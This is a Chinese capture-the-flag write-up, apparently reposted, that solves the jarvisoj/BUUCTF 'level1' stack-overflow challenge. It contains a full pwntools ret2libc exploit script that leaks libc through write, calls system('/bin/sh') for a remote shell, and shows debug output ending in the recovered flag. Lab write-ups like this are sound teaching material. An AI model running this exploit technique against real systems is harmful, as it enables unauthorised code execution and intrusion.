从零开始做题:逆向 ret2libc jarvisoj level1

news2025/1/21 12:05:10

1.题目信息

BUUCTF在线评测

2.原理

篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,并且该区域有执行权限。

3.解题步骤

3.1 首先使用checksec工具查看它开了啥保护措施

基本全关,栈可执行。

root@pwn_test1604:/ctf/work/9# checksec ./level1
[*] '/ctf/work/9/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
root@pwn_test1604:/ctf/work/9# 

3.2 使用ida查看一下该程序

在危险函数中,程序向我们输出了一个栈站上的地址因此我们可以朝buf写一段shellcode,然后 将返回地址覆盖为buf的地址。在pwntools中可以使用shellcraft.sh()写shellcode,再使用asm将其转换成机器码。

ida帮我们计算出来了buf字符串距离rbp有0x88个字节,由于ebp本身还占4个字节,所以溢出0x8c个字节后将返回地址修改为buf地址,python有 个自带的方法ljust可以将我们的shellcode长度补充为固定字节,期作用是使shellcode左对齐,然后不足长度补齐指定数据。

参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们
由于没有开启nx,所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell
但是在测试的时候发现,远程连接不会一开始就回显buf的地址,所以上述的方法只能本地打通
                        
这题想要远程打通,我是使用了常规的ret2libc的方法,远程是先调用了write函数,然后是function函数

利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop攻击获取shell

 

3.3 完整源码

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pickle import TRUE
from pwn import *
import sys
from LibcSearcher import *

context.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'

DEBUG = 1

LOCAL = True
BIN   ='./level1'
#HOST  ='pwn2.jarvisoj.com'
#PORT  =9877
HOST  ='node5.buuoj.cn'
PORT  =29232







def get_base_address(proc):
	return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(bps,_s):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in bps:
        script += "b *0x%x\n"%(PIE+bp)
    script += _s
    gdb.attach(p,gdbscript=script)

elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 
#write的plt表可以调用write函数
write_got=elf.got['write'] 	
#write的got表里面有write函数的真实地址




def exploit(p):

	elf = ELF("./level1")
	main_addr=0x80484b7
	write_plt=elf.plt['write'] 	#write的plt表可以调用write函数
	write_got=elf.got['write'] 	#write的got表里面有write函数的真实地址
	pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)   	#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
	p.send(pl)
	write_addr = u32(p.recv(4))	    #  因为write的第二个参数是write_got,所以它会输出write的got
	libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
	libc_base=write_addr-libc.dump('write')     #找到偏移
	system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址
	bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址
	pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
	p.sendline(pl)
	p.interactive()
	return

if __name__ == "__main__":
	elf = ELF(BIN)
	if len(sys.argv) > 1:
		LOCAL = False
		p = remote(HOST, PORT)
		exploit(p)
	else:
		LOCAL = True
		p = process(BIN)
		log.info('PID: '+ str(proc.pidof(p)[0]))
		# pause
		if DEBUG:
			debug([],"")
		exploit(p)

只用修改的地方如下: 

LOCAL = True
BIN   ='./level1'
#HOST  ='pwn2.jarvisoj.com'
#PORT  =9877
HOST  ='node5.buuoj.cn'
PORT  =29232

elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 
#write的plt表可以调用write函数
write_got=elf.got['write']     
#write的got表里面有write函数的真实地址

def exploit(p):

    elf = ELF("./level1")
    main_addr=0x80484b7
    write_plt=elf.plt['write']     #write的plt表可以调用write函数
    write_got=elf.got['write']     #write的got表里面有write函数的真实地址
    pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)       #  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
    p.send(pl)
    write_addr = u32(p.recv(4))        #  因为write的第二个参数是write_got,所以它会输出write的got
    libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
    libc_base=write_addr-libc.dump('write')     #找到偏移
    system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址
    bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址
    pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
    p.sendline(pl)
    p.interactive()
    return
 

 3.4 运行结果

root@pwn_test1604:/ctf/work/9# python level1-buuctf.py 1
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[*] '/ctf/work/9/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[+] Opening connection to node5.buuoj.cn on port 29232: Done
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[DEBUG] Sent 0xa0 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  61 61 61 61  70 83 04 08  │aaaa│aaaa│aaaa│p···│
    00000090  b7 84 04 08  01 00 00 00  1c a0 04 08  04 00 00 00  │····│····│····│····│
    000000a0
[DEBUG] Received 0x4 bytes:
    00000000  c0 73 eb f7                                         │·s··││
    00000004
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[DEBUG] Sent 0x99 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  61 61 61 61  40 d9 e1 f7  │aaaa│aaaa│aaaa│@···│
    00000090  b7 84 04 08  2b c0 f3 f7  0a                        │····│+···│·│
    00000099
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x6d bytes:
    'bin\n'
    'boot\n'
    'dev\n'
    'etc\n'
    'flag\n'
    'flag.txt\n'
    'home\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'media\n'
    'mnt\n'
    'opt\n'
    'proc\n'
    'pwn\n'
    'root\n'
    'run\n'
    'sbin\n'
    'srv\n'
    'sys\n'
    'tmp\n'
    'usr\n'
    'var\n'
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2b bytes:
    'flag{232ee13a-17ab-4e9f-8a29-3481de113920}\n'
flag{232ee13a-17ab-4e9f-8a29-3481de113920}
$  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1454969.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RabbitMQ之 Direct 交换机

👽System.out.println(“👋🏼嗨,大家好,我是代码不会敲的小符,双非大四,Java实习中…”); 📚System.out.println(“🎈如果文章中有错误的地方,恳请大家指正&a…

【python】python入门(变量名)

Hi~ o(* ̄▽ ̄*)ブ今天一起来看看python入门之变量名吧~~ 变量名的规定: 举个例子: “违法”的变量名们 my love/my !love错误:中间不能是空格或者其他符号1my_love错误:不能数字开头"my_l…

【Spring底层原理高级进阶】轻松掌握 Spring MVC 的拦截器机制:深入理解 HandlerInterceptor 接口和其实现类的用法

🎉🎉欢迎光临🎉🎉 🏅我是苏泽,一位对技术充满热情的探索者和分享者。🚀🚀 🌟特别推荐给大家我的最新专栏《Spring 狂野之旅:底层原理高级进阶》 &#x1f680…

区块链技术和Hyperledger Fabric介绍

1 区块链介绍 1.1 区块链技术形成 1.1.1 起源 在比特币诞生之时,技术专家们开始研究比特币的底层技术,并抽象提取出来,形成区块链技术,或者称分布式账本技术。 1.1.2 定义 简称BT(Blockchain technology&#xff…

包教包会的Kotlin Flow教程

原文链接 包教包会的Kotlin Flow教程 公众号「稀有猿诉」 Kotlin中的Flow是专门用于处理异步数据流的API,是函数响应式编程范式(Functional Reactive Programming FRP)在Kotlin上的一个实现,并且深度融合了Kotlin的协程。是Kotlin中处理异步数据…

【PCIE709-F】基于复旦微JFM7VX690T80 FPGA的全国产化8通道光纤双FMC接口数据处理平台

板卡概述 PCIE709-F是一款基于上海复旦微电子的28nm 7系列FPGA JFM7VX690T80的全国产化8通道光纤双FMC接口数据预处理平台,该板卡采用复旦微的高性能7系列FPGA作为实时处理器,实现4路10G SFP光纤以及1路QSFP通信接口、实现1路X8 PCIE数据传输的功能。板载…

using--基础

using 关键字的作用 using声明---using declaration 就是声明一个已经存在的命名空间,命名空间成员,枚举,类成员对象等。 声明实现的原理 在 C 中,变量的声明并不等于变量的实现,变量声明只是告诉编译器该变量的名…

离谱!用ChatGPT进行审稿!

离谱!用ChatGPT进行审稿! 关注微信公众号: DeepGoAI 在这个信息爆炸的时代,AI已经跑到了学术会议的后台,偷偷摸摸地开始“帮忙”审稿了!🤖 最近,一位教授的LinkedIn动态可谓是火了一把&#xf…

Android 基础技术——HashMap

笔者希望做一个系列,整理 Android 基础技术,本章是关于HashMap HaspMap的默认初始长度是16,并且每次扩展长度或者手动初始化时,长度必须是2的次幂。 为什么长度是2的x次幂和每次扩容都是2倍?? 1)当一个key被放进到数…

大数据,对于生活的改变

谷歌通过对于疾病的查询量可以预测一个个h1n1病毒的大爆发, 大数据时代对于人的考验 用户的搜索记录就是一种信息,这种信息会满足其基础相关的词条与其有关的词条(最为原始的搜索机制,国内的搜索引擎都是采用这种基础原理。&…

【论文阅读笔记】Contrastive Learning with Stronger Augmentations

Contrastive Learning with Stronger Augmentations 摘要 基于提供的摘要,该论文的核心焦点是在对比学习领域提出的一个新框架——利用强数据增强的对比学习(Contrastive Learning with Stronger Augmentations,简称CLSA)。以下…

【Linux】简单的网络计算器的实现(自定义协议,序列化,反序列化)

文章目录 前言一、 服务端1.ServerCal.cc(服务器主文件)2.ServerCal.hpp3.Sock.hpp(套接字封装)4.TcpServer.hpp(服务器)5.Protocol(自定义协议) 二、用户端1.ClientCal 三、Log.hpp(日志)四、makefile 前言…

宜昌博物馆龙文物展,以数据为盾完成文物保护

​一、湖北宜昌博物馆龙文物精品展的独特魅力 近日,在湖北宜昌博物馆举行的甲辰年龙文物精品展上,多件包含“龙元素”的文物正式向社会展出。龙自古以来就是中华民族象征,带有“龙图案”或“龙元素”的物件,广泛存在于中国人“吃…

JVM-JVM调优基础(理论)

申明:文章内容是本人学习极客时间课程所写,作为笔记进行记录,文字和图片基本来源于课程资料,在某些地方会插入一点自己的理解,未用于商业用途,侵删。 原资料地址:课程资料 JVM参数 标准参数 …

人工智能学习与实训笔记(十五):Scikit-learn库的基础与使用

人工智能专栏文章汇总:人工智能学习专栏文章汇总-CSDN博客 本篇目录 一、介绍 1. 1 Scikit-learn的发展历程及定义 1.2 理解算法包、算法库及算法框架之间的区别和联系 二、Scikit-learn官网结构 三、安装与设置 3.1 Python环境的安装与配置 3.2 Scikit-lea…

如何实现批量获取电商数据自动化商品采集?如何利用电商数据API实现业务增长?

随着电子商务的快速发展,数据已经成为了电商行业最重要的资产之一。在这个数据驱动的时代,电商数据API(应用程序接口)的作用日益凸显。通过电商数据API,商家能够获取到大量关于消费者行为、产品表现、市场趋势等有价值…

模拟电子技术——基本微积分运算电路、滤波器、一阶低通滤波器、一阶高通滤波器、电压比较器、滞回比较器

文章目录 一、基本微积分运算电路什么是微积分电路电路及特点及参数计算-积分电路电路及特点及参数计算-微分电路 二、滤波器什么是滤波器滤波器分类有源无源的电路结构区别通带与阻带参数 三、一阶低通滤波器什么是一阶低通滤波器低通滤波器特性电路及相关特性 四、一阶高通滤…

【笔记------STM32】MX_RTC_Init()初始化RTC时RTC_ISR_INITF位超时失败的解决方法

RTC和flash有点像,有些功能需要解锁才能配置,虽然cubeMX生成的RTC部分的解锁配置正确,但却没有配置好前提条件:关闭PWR模块的备份域写保护使能,有点奇怪,手动关掉就好了 现象:进入RTC_EnterInit…

打开ps显示找不到dll怎么办?这四种方法可快速修复

在计算机操作系统中,当执行某程序或运行特定软件时,如果系统提示“ps显示找不到dll文件”,这其实是一个较为常见的问题现象。动态链接库(DLL)文件是Windows操作系统中不可或缺的重要组件,它包含了大量可被多…

Spring Boot 笔记 024 登录页面

1.1 登录接口 //导入request.js请求工具 import request from /utils/request.js//提供调用注册接口的函数 export const userRegisterService (registerData)>{//借助于UrlSearchParams完成传递const params new URLSearchParams()for(let key in registerData){params.a…